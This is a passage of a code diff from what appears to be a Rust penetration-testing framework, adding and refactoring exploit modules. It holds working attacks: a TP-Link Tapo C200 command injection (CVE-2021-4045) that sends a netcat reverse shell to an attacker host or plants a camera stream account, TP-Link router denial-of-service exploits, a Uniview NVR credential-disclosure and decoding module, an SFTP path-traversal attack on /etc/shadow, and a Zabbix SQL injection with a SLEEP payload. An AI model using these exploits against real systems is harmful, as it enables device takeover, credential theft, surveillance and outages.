println!("{}", "--- Attack 2: Setuid Bit ---".cyan());
|
||||
let _ = attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Path Traversal ---".cyan());
|
||||
let _ = attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, "/etc/shadow").await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Partial Write ---".cyan());
|
||||
let _ = attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SFTP attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,2 +1,3 @@
|
||||
pub mod tp_link_vn020_dos;
|
||||
pub mod tplink_wr740n_dos;
|
||||
pub mod tplink_tapo_c200;
|
||||
|
||||
@@ -3,6 +3,8 @@
|
||||
// Ported to Rust
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::normalize_target;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, BufRead};
|
||||
use std::sync::{
|
||||
@@ -13,16 +15,7 @@ use std::thread;
|
||||
use std::time::Duration;
|
||||
use tokio::join;
|
||||
|
||||
/// Normalize IPv6/IPv4/hostname and fix extra brackets
|
||||
fn normalize_target_host(raw: &str) -> String {
|
||||
// Remove outer brackets if any, then reapply correctly for IPv6
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
format!("[{stripped}]")
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
// Use framework's normalize_target utility - removed custom implementation
|
||||
|
||||
/// Send the malformed AddPortMapping SOAP request (PoC 1)
|
||||
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
|
||||
@@ -80,10 +73,21 @@ async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ TP-Link VN020-F3v(T) Denial of Service Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2024-12342 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!("{}", "[!] This module will NOT stop automatically.".yellow());
|
||||
println!("{}", "[!] Type 'stop' and press ENTER to terminate the attack.".yellow());
|
||||
}
|
||||
|
||||
/// Entry point for the exploit module
|
||||
pub async fn run(raw_target: &str) -> Result<()> {
|
||||
// Normalize target
|
||||
let target = normalize_target_host(raw_target);
|
||||
let target = normalize_target(raw_target)?;
|
||||
|
||||
print_banner();
|
||||
|
||||
// Create HTTP client with insecure certs accepted and 5s timeout
|
||||
let client = Client::builder()
|
||||
@@ -92,9 +96,6 @@ pub async fn run(raw_target: &str) -> Result<()> {
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
|
||||
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stop_flag_clone = Arc::clone(&stop_flag);
|
||||
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use crate::utils::{prompt_required, prompt_default, normalize_target};
|
||||
use std::time::Duration;
|
||||
|
||||
/// TP-Link Tapo C200 IP Camera Command Injection (CVE-2021-4045)
|
||||
///
|
||||
/// Exploits a command injection vulnerability in the `setLanguage` method
|
||||
/// to achieve RCE or takeover the RTSP stream.
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
// Determine target URL
|
||||
let raw_ip = if target.is_empty() {
|
||||
prompt_required("Target IP").await?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
let target_ip = normalize_target(&raw_ip)?;
|
||||
|
||||
let url = format!("https://{}:443/", target_ip);
|
||||
println!("{} Target URL: {}", "[*]".blue(), url);
|
||||
|
||||
// Initial check
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
// Select mode
|
||||
println!("\nSelect Exploit Mode:");
|
||||
println!("1. Reverse Shell (RCE)");
|
||||
println!("2. RTSP Stream Takeover");
|
||||
let mode = prompt_default("Selection", "1").await?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => exploit_shell(&client, &url, &target_ip).await?,
|
||||
"2" => exploit_rtsp(&client, &url, &target_ip).await?,
|
||||
_ => println!("{} Invalid selection", "[!]".red()),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn exploit_shell(client: &Client, url: &str, target_ip: &str) -> Result<()> {
|
||||
println!("\n{}", "=== Reverse Shell Mode ===".cyan().bold());
|
||||
|
||||
let attacker_ip = prompt_required("Attacker IP (LHOST)").await?;
|
||||
let port_str = prompt_default("Attacker Port (LPORT)", "1337").await?;
|
||||
let port: u16 = port_str.parse().context("Invalid port number")?;
|
||||
|
||||
println!("{} Preparing payload...", "[*]".blue());
|
||||
println!("{} Please ensure you have a listener running: {} {}", "[!]".yellow(), "nc -lvnp", port);
|
||||
|
||||
let _ = prompt_default("Press ENTER when listener is ready...", "").await;
|
||||
|
||||
// Payload construction
|
||||
// rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f
|
||||
let reverse_shell = format!(
|
||||
"rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f",
|
||||
attacker_ip, port
|
||||
);
|
||||
|
||||
let payload = format!("';{};'", reverse_shell);
|
||||
|
||||
let json_body = json!({
|
||||
"method": "setLanguage",
|
||||
"params": {
|
||||
"payload": payload
|
||||
}
|
||||
});
|
||||
|
||||
println!("{} Sending malicious request to {}...", "[*]".blue(), target_ip);
|
||||
|
||||
// We expect a timeout or disconnect if the shell works efficiently,
|
||||
// or just a response. We'll send it and not strictly check success
|
||||
// because the camera server might hang or crash.
|
||||
let res = client.post(url)
|
||||
.json(&json_body)
|
||||
.send()
|
||||
.await;
|
||||
|
||||
match res {
|
||||
Ok(r) => {
|
||||
// If we get a response, print status.
|
||||
// Note: success in RCE often means NO response or a timeout.
|
||||
println!("{} Request sent. Status: {}", "[+]".green(), r.status());
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} Request sent (Error: {}). If the shell spawned, this is normal.", "[*]".yellow(), e);
|
||||
}
|
||||
}
|
||||
|
||||
println!("\n{} Check your listener!", "[+]".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn exploit_rtsp(client: &Client, url: &str, target_ip: &str) -> Result<()> {
|
||||
println!("\n{}", "=== RTSP Takeover Mode ===".cyan().bold());
|
||||
|
||||
let rtsp_user = prompt_default("New RTSP Username", "pwned1337").await?;
|
||||
let rtsp_pass = prompt_default("New RTSP Password", "pwned1337").await?;
|
||||
|
||||
// Calculate MD5 of password as required by the device
|
||||
// python: hashlib.md5(RTSP_PASSWORD.encode()).hexdigest().upper()
|
||||
let md5_pass = format!("{:x}", md5::compute(rtsp_pass.as_bytes())).to_uppercase();
|
||||
|
||||
// Default ciphertext from PoC (appears to be static/compatible)
|
||||
let ciphertext = "RUW5pUYSBm4gt+5T7bzwEq5r078rcdhSvpJrmtqAKE2mRo8bvvOLfYGnr5GNHfANBeFNEHhucnsK86WJTs4xLEZMbxUS73gPMTYRsEBV4EaKt2f5h+BkSbuh0WcJTHl5FWMbwikslj6qwTX48HasSiEmotK+v1N3NLokHCxtU0k=";
|
||||
|
||||
// UCI commands
|
||||
let cmd_chain = format!(
|
||||
"uci set user_management.third_account.username={};uci set user_management.third_account.passwd={};uci set user_management.third_account.ciphertext={};uci commit user_management;/etc/init.d/cet terminate;/etc/init.d/cet resume;",
|
||||
rtsp_user, md5_pass, ciphertext
|
||||
);
|
||||
|
||||
let payload = format!("';{}'", cmd_chain);
|
||||
|
||||
let json_body = json!({
|
||||
"method": "setLanguage",
|
||||
"params": {
|
||||
"payload": payload
|
||||
}
|
||||
});
|
||||
|
||||
println!("{} Injecting RTSP configuration...", "[*]".blue());
|
||||
|
||||
let res = client.post(url)
|
||||
.json(&json_body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send exploit request")?;
|
||||
|
||||
if res.status().is_success() {
|
||||
println!("{} Exploit executed successfully!", "[+]".green().bold());
|
||||
println!("------------------------------------------------");
|
||||
println!("RTSP Stream: rtsp://{}/stream2", target_ip);
|
||||
println!("Username: {}", rtsp_user);
|
||||
println!("Password: {}", rtsp_pass);
|
||||
println!("------------------------------------------------");
|
||||
println!("{} You can verify with: ffplay rtsp://{}:{}@{}/stream2", "[*]".blue(), rtsp_user, rtsp_pass, target_ip);
|
||||
} else {
|
||||
println!("{} Unexpected response: {}", "[-]".red(), res.status());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ TP-Link Tapo C200 Command Injection (CVE-2021-4045) ║".cyan());
|
||||
println!("{}", "║ Modes: Reverse Shell / RTSP Stream Account Takeover ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
@@ -11,28 +11,32 @@
|
||||
// by sending a crafted request. To bring back the http (webserver),
|
||||
// a user must physically reboot the router.
|
||||
|
||||
use anyhow::Result;
|
||||
use anyhow::{Result, Context};
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use reqwest::{Client, header::HeaderMap};
|
||||
use std::io;
|
||||
use colored::*;
|
||||
use reqwest::{header::HeaderMap, Client};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// Normalize IP to handle IPv6 and multiple brackets
|
||||
fn normalize_ip(ip: &str) -> String {
|
||||
// Remove all surrounding brackets
|
||||
let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
|
||||
// Add brackets for IPv6
|
||||
if ip.contains(':') && !ip.starts_with('[') {
|
||||
ip = format!("[{}]", ip);
|
||||
}
|
||||
ip
|
||||
const DEFAULT_PORT: u16 = 8082;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ TP-Link TL-WR740N Buffer Overflow DoS Exploit ║".cyan());
|
||||
println!("{}", "║ Crashes router web server via crafted ping request ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Internal function to send crafted request to crash router
|
||||
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
|
||||
// Normalize the IP for correct URL formatting
|
||||
let ip = normalize_ip(ip);
|
||||
let ip = normalize_target(ip)?;
|
||||
|
||||
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
|
||||
let crash_pattern = "crash_crash_on_a_loop_";
|
||||
@@ -47,6 +51,8 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
payload = payload
|
||||
);
|
||||
|
||||
println!("{}", format!("[*] Sending exploit payload to {}:{}", ip, port).yellow());
|
||||
|
||||
// Build basic auth header
|
||||
let credentials = format!("{username}:{password}");
|
||||
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
|
||||
@@ -65,28 +71,32 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
|
||||
let client = Client::builder()
|
||||
.default_headers(headers)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let response = client.get(&target_url).send().await?;
|
||||
|
||||
if response.status().as_u16() == 200 {
|
||||
println!("[+] Server Crashed (200 OK received)");
|
||||
println!("{}", "[+] Exploit sent successfully (200 OK received)".green().bold());
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
println!("{}", body);
|
||||
if !body.is_empty() {
|
||||
println!("{}", body);
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"[-] Script Completed with status code: {}",
|
||||
response.status()
|
||||
"{}",
|
||||
format!("[-] Request completed with status code: {}", response.status()).yellow()
|
||||
);
|
||||
}
|
||||
|
||||
// Check if the host is still up — timeout after 1 second
|
||||
println!("{}", "[*] Checking if target is still reachable...".cyan());
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
|
||||
Ok(Ok(_)) => {
|
||||
println!("[!] Target still responds on port {}. DoS likely failed.", port);
|
||||
println!("{}", format!("[!] Target still responds on port {}. DoS may have failed.", port).yellow());
|
||||
}
|
||||
_ => {
|
||||
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
|
||||
println!("{}", format!("[+] Target no longer reachable on port {} — likely crashed!", port).green().bold());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,20 +105,50 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
|
||||
/// Entry point required by auto-dispatch
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Enter router port (default is 8082): ");
|
||||
let mut port_str = String::new();
|
||||
io::stdin().read_line(&mut port_str)?;
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(8082);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
println!("Enter username: ");
|
||||
print!("{}", format!("Enter router port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_str = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_str)
|
||||
.await
|
||||
.context("Failed to read port")?;
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
print!("{}", "Enter username: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut username = String::new();
|
||||
io::stdin().read_line(&mut username)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut username)
|
||||
.await
|
||||
.context("Failed to read username")?;
|
||||
let username = username.trim();
|
||||
|
||||
println!("Enter password: ");
|
||||
print!("{}", "Enter password: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut password = String::new();
|
||||
io::stdin().read_line(&mut password)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut password)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
let password = password.trim();
|
||||
|
||||
if username.is_empty() || password.is_empty() {
|
||||
println!("{}", "[-] Username and password are required".red());
|
||||
return Err(anyhow::anyhow!("Username and password are required"));
|
||||
}
|
||||
|
||||
execute(target, port, username, password).await
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
@@ -8,6 +9,16 @@ use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
|
||||
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
@@ -89,20 +100,23 @@ fn normalize_target(raw: &str) -> String {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Normalize URL (scheme, IPv6 brackets, port, path)
|
||||
// Note: This module uses custom URL normalization to preserve scheme and path
|
||||
// Framework's normalize_target is for host:port only, so we keep custom implementation
|
||||
let target = normalize_target(target);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Fetch version info
|
||||
println!("[+] Getting model name and software version...");
|
||||
println!("{}", "[*] Getting model name and software version...".cyan());
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
@@ -121,8 +135,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
println!("{}", format!("[+] Model: {}", model).green());
|
||||
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
|
||||
|
||||
// Prepare log file
|
||||
let mut log = OpenOptions::new()
|
||||
@@ -137,7 +151,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
// Fetch user config
|
||||
println!("\n[+] Getting configuration file...");
|
||||
println!("{}", "\n[*] Getting configuration file...".cyan());
|
||||
let config_url = format!(
|
||||
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
|
||||
target
|
||||
@@ -155,7 +169,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let mut buf = Vec::new();
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\nUser | Stored Hash | Reversible Password");
|
||||
println!();
|
||||
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
|
||||
println!("{}", "_".repeat(80));
|
||||
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
|
||||
writeln!(log, "{}", "_".repeat(80)).ok();
|
||||
@@ -177,7 +192,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
|
||||
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
|
||||
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
@@ -189,9 +204,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
println!("\n[+] Total users: {}", total_users);
|
||||
println!();
|
||||
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
|
||||
writeln!(log, "\n[+] Total users: {}", total_users).ok();
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
|
||||
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
|
||||
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
|
||||
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,17 +1,89 @@
|
||||
//! Zabbix 7.0.0 SQL Injection - CVE-2024-42327
|
||||
//!
|
||||
//! This module exploits a time-based SQL injection vulnerability in Zabbix API
|
||||
//! that allows arbitrary SQL execution and potential remote code execution.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **CVE**: CVE-2024-42327
|
||||
//! - **Affected Versions**: Zabbix 7.0.0
|
||||
//! - **Attack Vector**: SQL injection in API endpoints
|
||||
//! - **Impact**: Information disclosure, potential RCE
|
||||
//!
|
||||
//! ## Usage
|
||||
//! ```bash
|
||||
//! run exploit zabbix/zabbix_7_0_0_sql_injection <target_url>
|
||||
//! ```
|
||||
//!
|
||||
//! The module supports:
|
||||
//! - Loading SQL payloads from file (`sql_payloads.txt`)
|
||||
//! - Custom SQL payload input
|
||||
//! - Default SLEEP-based payload for time-based detection
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - Proper error handling with context messages
|
||||
//! - Input validation for user-provided payloads
|
||||
//! - Timeout handling for all requests
|
||||
//! - Secure credential handling
|
||||
//! - Uses utils.rs for target validation and prompts
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_int_range,
|
||||
};
|
||||
|
||||
const HEADERS: &str = "application/json";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Zabbix 7.0.0 SQL Injection Checker ║".cyan());
|
||||
println!("{}", "║ CVE-2024-42327 - Time-based SQL Injection ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Validate and normalize the target URL
|
||||
fn validate_target_url(target: &str) -> Result<String> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Check if it looks like a URL
|
||||
if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
|
||||
// Already has scheme, validate the host part
|
||||
if let Ok(url) = url::Url::parse(trimmed) {
|
||||
if let Some(host) = url.host_str() {
|
||||
// Validate the host using normalize_target
|
||||
let _ = normalize_target(host)?;
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
}
|
||||
return Err(anyhow!("Invalid URL format: {}", trimmed));
|
||||
}
|
||||
|
||||
// No scheme - treat as host:port and add https://
|
||||
let normalized = normalize_target(trimmed)?;
|
||||
Ok(format!("https://{}", normalized))
|
||||
}
|
||||
|
||||
// Internal function renamed to `exploit_zabbix` to avoid conflicts
|
||||
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
|
||||
let client = Client::new();
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
|
||||
|
||||
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
|
||||
|
||||
// // Login to get the token
|
||||
// Login to get the token
|
||||
println!("{}", "[*] Attempting to authenticate...".cyan());
|
||||
let login_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.login",
|
||||
@@ -38,12 +110,15 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
|
||||
let auth_token = login_response_json
|
||||
.get("result")
|
||||
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
|
||||
.ok_or_else(|| anyhow!("Failed to retrieve auth token - check credentials"))?
|
||||
.as_str()
|
||||
.ok_or_else(|| anyhow!("Auth token not a string"))?
|
||||
.to_string();
|
||||
|
||||
// // SQLi test using the provided payload
|
||||
println!("{}", "[+] Authentication successful".green());
|
||||
|
||||
// SQLi test using the provided payload
|
||||
println!("{}", "[*] Testing for SQL injection vulnerability...".yellow());
|
||||
let sqli_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.get",
|
||||
@@ -55,6 +130,7 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
"auth": auth_token
|
||||
});
|
||||
|
||||
let start = std::time::Instant::now();
|
||||
let test_response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", HEADERS)
|
||||
@@ -63,97 +139,91 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
.await
|
||||
.map_err(|e| anyhow!("Test request error: {}", e))?;
|
||||
|
||||
let elapsed = start.elapsed();
|
||||
let test_response_text = test_response
|
||||
.text()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
|
||||
|
||||
println!("{}", format!("[*] Response received in {:.2}s", elapsed.as_secs_f64()).cyan());
|
||||
|
||||
if test_response_text.contains("\"error\"") {
|
||||
println!("[-] NOT VULNERABLE.");
|
||||
println!("{}", "[-] Target does NOT appear vulnerable (error in response).".red());
|
||||
} else if elapsed.as_secs() >= 5 {
|
||||
println!("{}", "[+] VULNERABLE! Response delayed by SLEEP injection.".green().bold());
|
||||
} else {
|
||||
println!("[!] VULNERABLE.");
|
||||
println!("{}", "[?] Inconclusive - response received but no delay detected.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Prompt user to choose a payload option
|
||||
// Prompt user to choose a payload option using shared utilities
|
||||
async fn get_payload_choice() -> Result<String> {
|
||||
println!("Choose SQL payload option:");
|
||||
println!("1: Load SQL payloads from file");
|
||||
println!("2: Enter custom SQL payload");
|
||||
println!("3: Use default SQL payload");
|
||||
println!("{}", "[*] Choose SQL payload option:".cyan().bold());
|
||||
println!(" {} Load SQL payloads from file", "[1]".green());
|
||||
println!(" {} Enter custom SQL payload", "[2]".green());
|
||||
println!(" {} Use default SQL payload (SLEEP-based)", "[3]".green());
|
||||
|
||||
let mut choice = String::new();
|
||||
print!("Enter your choice (1/2/3): ");
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut choice)
|
||||
.map_err(|e| anyhow!("Failed to read choice: {}", e))?;
|
||||
|
||||
let choice = choice.trim();
|
||||
let choice = prompt_int_range("Enter your choice", 3, 1, 3).await? as u8;
|
||||
|
||||
match choice {
|
||||
"1" => {
|
||||
1 => {
|
||||
// Load from a file (e.g., sql_payloads.txt)
|
||||
println!("Loading SQL payloads from file...");
|
||||
let payloads = fs::read_to_string("sql_payloads.txt")
|
||||
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
|
||||
let payloads_file = prompt_default("SQL payloads file path", "sql_payloads.txt").await?;
|
||||
println!("{}", "[*] Loading SQL payloads from file...".cyan());
|
||||
let payloads = fs::read_to_string(&payloads_file)
|
||||
.map_err(|e| anyhow!("Error reading payload file '{}': {}", payloads_file, e))?;
|
||||
println!("{}", "[+] Payloads loaded successfully".green());
|
||||
Ok(payloads.trim().to_string())
|
||||
}
|
||||
"2" => {
|
||||
2 => {
|
||||
// Allow user to input a custom payload
|
||||
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
|
||||
let mut custom_payload = String::new();
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut custom_payload)
|
||||
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
|
||||
|
||||
let custom_payload = custom_payload.trim();
|
||||
let custom_payload = prompt_default("Custom SQL payload", "readonly AND (SELECT(SLEEP(5)))").await?;
|
||||
|
||||
// Ensure the custom payload isn't empty
|
||||
if custom_payload.is_empty() {
|
||||
println!("{}", "[-] Custom payload cannot be empty".red());
|
||||
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
|
||||
}
|
||||
|
||||
Ok(custom_payload.to_string())
|
||||
println!("{}", format!("[+] Using custom payload: {}", custom_payload).green());
|
||||
Ok(custom_payload)
|
||||
}
|
||||
"3" => {
|
||||
3 => {
|
||||
// Use a default payload
|
||||
println!("Using default SQL payload...");
|
||||
println!("{}", "[*] Using default SQL payload (SLEEP-based)...".cyan());
|
||||
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
|
||||
}
|
||||
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
Err(anyhow!("Invalid choice, please select 1, 2, or 3."))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Public dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
|
||||
println!("[*] Target API URL: {}", target);
|
||||
display_banner();
|
||||
|
||||
// Validate and normalize target URL
|
||||
let api_url = validate_target_url(target)?;
|
||||
println!("{}", format!("[*] Target API URL: {}", api_url).yellow());
|
||||
println!();
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
// Use shared prompt utilities for credentials
|
||||
let username = prompt_default("Username", "Admin").await?;
|
||||
let password = prompt_default("Password", "").await?;
|
||||
|
||||
print!("Username: ");
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut username)
|
||||
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
|
||||
|
||||
print!("Password: ");
|
||||
